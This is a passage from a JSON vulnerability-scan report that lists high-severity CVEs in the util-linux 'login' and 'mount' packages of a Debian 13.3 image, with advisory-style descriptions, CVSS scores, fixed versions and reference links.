"https://www.cve.org/CVERecord?id=CVE-2026-78408" ], "PublishedDate": "2026-09-02T16:17:23.687Z", "LastModifiedDate": "2026-11-05T03:17:32.977Z" }, { "VulnerabilityID": "CVE-2026-78409", "PkgID": "login@1:4.16.0-2+really2.41-5", "PkgName": "login", "PkgIdentifier": { "PURL": "pkg:deb/debian/login@4.16.0-2%2Breally2.41-5?arch=amd64\u0026distro=debian-13.3\u0026epoch=1", "UID": "35a636a49ab503ca" }, "InstalledVersion": "1:4.16.0-2+really2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78409", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0f2b16bacdb3ae6cfcd6a0e2869f1797895a006e64f31f6a41ff52f176c8a4b9", "Title": "util-linux: util-linux: X-mount.subdir detached-tree resolution can escape via intermediate symlinks", "Description": "The X-mount.subdir option uses a detached-tree fast path on Linux 6.15 and later and passes the configured subdirectory to open_tree() with AT_SYMLINK_NOFOLLOW. That flag does not stop intermediate symlink traversal or keep resolution inside the newly mounted filesystem. A local unprivileged user with an fstab-authorized X-mount.subdir entry can attach a host path at the intended mountpoint.", "Severity": "HIGH", "CweIDs": [ "CWE-59" ], "VendorSeverity": { "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/security/cve/CVE-2026-78409", "https://bugzilla.redhat.com/show_bug.cgi?id=2522607", "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv", "https://nvd.nist.gov/vuln/detail/CVE-2026-78409", "https://www.cve.org/CVERecord?id=CVE-2026-78409" ], "PublishedDate": "2026-09-02T16:17:23.833Z", "LastModifiedDate": "2026-11-05T00:17:28.61Z" }, { "VulnerabilityID": "CVE-2026-78410", "PkgID": "login@1:4.16.0-2+really2.41-5", "PkgName": "login", "PkgIdentifier": { "PURL": "pkg:deb/debian/login@4.16.0-2%2Breally2.41-5?arch=amd64\u0026distro=debian-13.3\u0026epoch=1", "UID": "35a636a49ab503ca" }, "InstalledVersion": "1:4.16.0-2+really2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78410", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c18877e1c3a21b5a77d6b481d22b2aa218b1d65abb8a126e485bebfdb464b533", "Title": "util-linux: util-linux: restricted bind mounts do not pin the source, allowing X-mount.owner/group/mode redirection", "Description": "A flaw was found in util-linux. Restricted bind mounts take the source path from fstab but do not pin that source before the privileged mount. A local unprivileged user who can replace the authorized source or a writable ancestor can redirect SUID mount(8) to bind another host directory. If the fstab entry also sets X-mount.owner, X-mount.group, or X-mount.mode, root then changes ownership or mode on that redirected inode.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/errata/RHSA-2026:95365", "https://access.redhat.com/security/cve/CVE-2026-78410", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m", "https://linux.oracle.com/cve/CVE-2026-78410.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78410", "https://www.cve.org/CVERecord?id=CVE-2026-78410" ], "PublishedDate": "2026-09-02T16:17:23.983Z", "LastModifiedDate": "2026-11-05T03:17:33.15Z" }, { "VulnerabilityID": "CVE-2026-53612", "VendorIDs": [ "DSA-6442-1" ], "PkgID": "mount@2.41-5", "PkgName": "mount", "PkgIdentifier": { "PURL": "pkg:deb/debian/mount@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "55c835c674d0a0e5" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53612", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:726f6ef6d073a81db73828580af5e2300f85bb6ecbf71743380713cabe4ea622", "Title": "util-linux: util-linux: TOCTOU in the mount program when applying post-mount ownership/mode changes", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.39 through 2.41.4 and 2.42 through 2.42.1, the SUID `mount` utility's `hook_owner.c` post-mount hook performs path-based `chmod()` and `lchown()` operations on a previously validated mount target. A local low-privileged user authorized by an `/etc/fstab` entry with `user` or `users` and an `X-mount.mode`, `X-mount.owner`, or `X-mount.group` option can use `renameat2(RENAME_EXCHANGE)` to race a writable ancestor of the target and redirect the privileged ownership or mode change to a root-owned path, potentially gaining root privileges. This issue is fixed in 2.41.5 and 2.42.2.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53612", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/24da33905c7115c4cbccd0afb2a469804e96467a", "https://github.com/util-linux/util-linux/commit/722c96974dd4009a334e4aee556eedaab5fb94b4", "https://github.com/util-linux/util-linux/commit/897a08c2b11dfa66975c3d24d63c7bf5f5be1a7c", "https://github.com/util-linux/util-linux/commit/d0c5adaeb3a3d823aba1377794de8f009b8152cc", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/security/advisories/GHSA-g8wm-75wr-g2vh", "https://linux.oracle.com/cve/CVE-2026-53612.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53612", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53612" ], "PublishedDate": "2026-10-14T15:17:20.26Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53613", "VendorIDs": [ "DSA-6442-1" ], "PkgID": "mount@2.41-5", "PkgName": "mount", "PkgIdentifier": { "PURL": "pkg:deb/debian/mount@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "55c835c674d0a0e5" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53613", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9197cf4be257c182f5b7d464f822bcb1a623a909a6bb877fc5566ad7805603c2", "Title": "util-linux: TOCTOU in the mount program via ancestor directory swap on target path", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.17 through 2.41.6 and 2.42 through 2.42.3, and in 2.42.4 when the legacy `mount(2)` path is used without `/proc`, restricted non-root `mount` requests validate an `/etc/fstab` target before the mount operation re-resolves that pathname. A local low-privileged user authorized by an fstab `user` or `users` entry whose target has an attacker-writable ancestor can use `renameat2(RENAME_EXCHANGE)` to swap a path component and redirect an authorized mount to a root-owned location, such as mounting attacker-controlled content over `/etc/sudoers.d`, and thereby gain root privileges. Versions 2.41.5 and 2.42.2 pin targets for the new mount API, and 2.42.4 pins legacy targets through `/proc/self/fd`; the documented legacy fallback without `/proc` remains affected.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53613", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/0b010025a0e429bc80355c94db86a843395d49e2", "https://github.com/util-linux/util-linux/commit/0d3d55975aa3492c62fd345eac38f41cd166c0b0", "https://github.com/util-linux/util-linux/commit/2c773f336134acf016e639abb6f12ba7341fe4b8", "https://github.com/util-linux/util-linux/commit/39fef62bf3226abb6bb018fa8750afa0327e84b4", "https://github.com/util-linux/util-linux/commit/472cc3fb2d4d47cca7aab2e0b59eb3fb8a9359ec", "https://github.com/util-linux/util-linux/commit/646fb66603d10a7ac337e14f566f1af48e3107c9", "https://github.com/util-linux/util-linux/commit/708d1b3c51932dc5ba8082c7368187715e6a8d78", "https://github.com/util-linux/util-linux/commit/78a860982e036f38fe9c0b3344998df5ac2c2ff5", "https://github.com/util-linux/util-linux/commit/85d16b341f7232c9dbb4884b632e1e956584bee9", "https://github.com/util-linux/util-linux/commit/a9508d216eb8977979102782672e0470cc9bf2a2", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/releases/tag/v2.42.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-8gj5-72r3-428g", "https://linux.oracle.com/cve/CVE-2026-53613.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53613", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53613" ], "PublishedDate": "2026-10-14T15:17:20.41Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53614", "VendorIDs": [ "DSA-6442-1" ], "PkgID": "mount@2.41-5", "PkgName": "mount", "PkgIdentifier": { "PURL": "pkg:deb/debian/mount@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "55c835c674d0a0e5" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53614", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d452a4a12f0b40611af6526c92d149fd9e973168c3b90d3ab8393fba94a2024a", "Title": "util-linux: util-linux: SUID mount(8) allows nosuid/noexec bypass via LIBMOUNT_FORCE_MOUNT2", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.39.1 through 2.41.4 and 2.42 through 2.42.1, the SUID `mount` utility reads the attacker-controlled `LIBMOUNT_FORCE_MOUNT2` environment variable with `getenv()`, allowing a local low-privileged\nuser to force the non-atomic legacy bind-mount path. With an `/etc/fstab` bind mount authorized by `user` or `users` and protected by `nosuid`, `noexec`, or `nodev`, an attacker can race the window between the initial bind mount and the remount that applies those security flags and execute a SUID program from the temporarily unprotected mount, potentially gaining root privileges. This issue is fixed in 2.41.5 and 2.42.2.", "Severity": "HIGH", "CweIDs": [ "CWE-269", "CWE-807" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53614", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/31e37c1c7dcf25b76ccf41391fe934a75644c661", "https://github.com/util-linux/util-linux/commit/53ff0fcdab12d69c60c971c69a3d0d173fa46ca9", "https://github.com/util-linux/util-linux/commit/9cbfb823500f510b34767edabd3ffd5b436987b4", "https://github.com/util-linux/util-linux/commit/cc81bbcec598cb91f0eb8456282f33eed820ed5f", "https://github.com/util-linux/util-linux/commit/fd6b4d94ff013dc7ed680d4e864610da5b9751f1", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/security/advisories/GHSA-67r7-8m5w-22wx", "https://linux.oracle.com/cve/CVE-2026-53614.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53614", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53614" ], "PublishedDate": "2026-10-14T16:17:45.93Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53615", "PkgID": "mount@2.41-5", "PkgName": "mount", "PkgIdentifier": { "PURL": "pkg:deb/debian/mount@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "55c835c674d0a0e5" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53615", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7cbc4f0f7e93210eeeccf71716d8c87d2b46d4160d48ea28644223badb909162", "Title": "util-linux: util-linux: Partition metadata compromise via integer overflow in DOS partition parser", "Description": "util-linux is a random collection of Linux utilities. Before util-linux 2.41.4, `parse_dos_extended()` in `libblkid/src/partitions/dos.c` computes an extended-partition start sector with 32-bit addition and does not apply the extended-area bounds checks to the first two EBR entries. A local attacker who causes a crafted DOS extended-partition disk image or removable medium to be probed can wrap `cur_start + start` to sector zero and cause libblkid to report a false partition overlapping the MBR. This directly compromises the integrity of the reported partition metadata; disk modification or availability loss requires a separate downstream consumer to act on that metadata. This issue is fixed in 2.41.4.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H", "V3Score": 8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53615", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/05c2dbadf34cc74192287f377904afaaf4061623", "https://github.com/util-linux/util-linux/commit/a2d858176b609ab5b8535021a3af9cd302d23d31", "https://github.com/util-linux/util-linux/commit/e9d544d013267ea86b70ee8ff78abd280e6641af", "https://github.com/util-linux/util-linux/releases/tag/v2.41.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-h4rw-gv36-wmp5", "https://linux.oracle.com/cve/CVE-2026-53615.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53615", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53615" ], "PublishedDate": "2026-10-14T16:17:46.07Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-76642", "PkgID": "mount@2.41-5", "PkgName": "mount", "PkgIdentifier": { "PURL": "pkg:deb/debian/mount@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "55c835c674d0a0e5" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-76642", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e1e8deb1d4e49a70d43373da454867783f85b179f6560024c11f4afcef055108", "Title": "util-linux: util-linux: failed external mount helper still runs privileged X-mount post-hooks", "Description": "util-linux versions through 2.41.5 and 2.42.2 fail to check mount helper exit status before running post-mount hooks, allowing unprivileged users to execute privileged operations on pre-existing filesystems. Attackers can exploit X-mount.idmap or X-mount.owner hooks to clone filesystems with inherited suid bits or modify target inode permissions after a helper fails, achieving privilege escalation.", "Severity": "HIGH", "CweIDs": [ "CWE-390" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-76642", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux", "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476", "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892", "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a", "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc", "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf", "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f", "https://linux.oracle.com/cve/CVE-2026-76642.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-76642", "https://www.cve.org/CVERecord?id=CVE-2026-76642", "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper" ], "PublishedDate": "2026-09-03T13:06:08.44Z", "LastModifiedDate": "2026-09-24T20:28:01.78Z" }, { "VulnerabilityID": "CVE-2026-78408", "PkgID": "mount@2.41-5", "PkgName": "mount", "PkgIdentifier": { "PURL": "pkg:deb/debian/mount@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "55c835c674d0a0e5" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78408", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": 